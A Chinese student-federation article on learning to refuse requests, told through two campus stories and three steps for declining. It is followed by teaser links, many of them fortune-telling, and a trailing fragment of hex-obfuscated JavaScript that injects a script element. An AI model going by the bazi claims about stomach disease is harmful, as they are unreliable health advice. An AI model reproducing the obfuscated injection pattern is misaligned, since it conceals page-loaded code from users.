首页 / 中华全国学联 / “我不愿意,所以我拒绝。”

“我不愿意,所以我拒绝。”

中华全国学联 2021-02-23 02:01

“可以借我一下你的作业吗?我抄完就还你。”“帮我值个日吧,我今天下午有事。”“给我带个饭可以吗?我还在寝室床上。”“名单上去掉我的名字吧,下次不会再迟到了。”……

这些话,你在生活中,是不是听过很多遍了,心里尽管不太愿意,回答却永远是“好”或“可以”……

说不出拒绝的话语,一味避让、迁就别人,以为这样在人际交往中才能“好相处”,这是不是你的真实模样?

大学里,小组作业总归是逃不过的。

小A真的很讨厌小组作业,因为每次几乎都是她一个人做完所有的事情。

老师把小组作业布置下去后,本应该是小组一起讨论、分工后再共同完成。但小A的小组成员们总会用各种理由,推脱自己的任务安排。

小A性格单纯善良,起初的时候,心想着大家都是同学,互相帮忙很正常,就帮小组的成员完成了他们的那部分任务。一次也就算了,但往后却接二连三地都这样推给小A。小A终于发现,很多时候他们只是在一味地逃避作业罢了。

但当小组的成员们又对她说:“我最近有点忙,可以帮我做吗?”或者“我这部分好难,帮我做一下。”的时候,小A的回答依旧是:“好”。

于是,小A又因为小组作业连着几天熬到半夜,做着别人的事情,交上写着所有小组成员名字的作业,让自己身心俱疲。

小A感觉自己就像个“软柿子”,好像谁都可以对她提出要求。很多时候她也很想学会拒绝,但当她面对他人期待的眼神,自己没有勇气说出拒绝的话语。

不懂拒绝的人,是因为觉得拒绝别人会让对方感到失望,所以总会选择委屈自己,对别人几乎是有求必应。

阿林是班上的学习委员,会负责每天早上的考勤。

同学薇薇总是在自习铃声响后才到教室。按照学校规定和老师的要求,薇薇应该被记名字,算一次平时成绩扣分。

但薇薇每次都会在下课后找他删去自己姓名的记录,用各种理由来说自己的迟到辩解。阿林清楚地知道自己的职责,更知道自己不应该包庇同学犯错,但每次还是会同意薇薇的请求。

有一天早上,薇薇照常地迟到了。老师发现作为学习委员的阿林并没有记下薇薇的名字,于是下课后叫他去了办公室。老师没有责怪阿林在班级工作中的疏忽,只是很温柔地告诉他,作为班干部要好好地为班级服务。

阿林听完老师的话后,心里很是羞愧,觉得对不起老师的信任。回到教室后,在平时分记录表上,选择扣了薇薇的分。后来薇薇知道了这件事,很长一段时间都没有和阿林说过话,还和班上同学抱怨她不通人情。

阿林心里很是难过,觉得自己已经够小心翼翼的了,却好像什么关系都没处理好。

不懂拒绝的人,总是首先考虑他人的感受,自己最后往往却是有苦说不出,吃力不讨好。

一味迁就别人并不是为人处世之道,正常地拒绝他人也不会让彼此的关系变得疏远,相反,过于小心翼翼地去迎合他人的想法,反而让他人不珍惜你的付出。

不轻易向任何人妥协,更不能为了满足别人的要求而违背应有的原则和底线。任何事情在想清楚之前,不要下意识都选择答应。适当拒绝他人,不用有自责心理或是任何负罪感。

那么,如果遇到应该拒绝他人的情况,应该怎么做呢?

第一步,表现你的真诚。在交谈时,认真聆听对方的要求,要让对方感受到,即使你可能会拒绝,也是因为自己有其他的难处,所以对这件事情感到为难,不是针对他这个人,更不是你为人自私。

第二步,直接清晰地表达拒绝。不含蓄不拖沓,不使对方产生歧义,不给对方解读的空间。小心翼翼的措辞反而会让人觉得你矫情做作,不够大度,倒不如在最初就选择直言不讳。

第三步,巧妙地解释原因。技巧性地回绝对方,但不用故意编造一个让双方都体面的理由,诚恳地说出原因就好,意思表达清晰才是关键。

不是所有的事情

都需要满口答应

学会适当地拒绝

不仅是对自己负责

也是在对他人负责

来源:青小小(ID:zqwqxx),转载请注明来源

编辑:吴磊

校对:郜峰

猜你喜欢

  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
  • 1、小空亡房屋或者坟墓坐向恰逢在两山之间的正中线上称为“空缝”,名为小空亡,也叫阴阳差错。凶祸相对小。离卦之丙午、午丁的分界;坤卦之未坤、坤申的分界;兑卦之庚酉、酉辛的分界;乾卦之戌干、干亥的分界;坎卦之壬子、子癸的分界;艮卦之丑艮、艮寅的分界;震卦之甲卯..

    命理研究2024-03-09
  • 在人们眼中,梁山108好汉中,天罡普遍武功高强,战力惊人,谋略过人,地煞普遍偏弱,甚至有的更是弱得离奇,如宋江的胞弟宋清,就是一个普通的农民,仅仅比白面书生强一丁点而已。然而,72地煞之中并不全是弱鸡,其中有一个人的战力很高,堪称最强地煞,不但在地煞之中..

    魁哥说历史2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();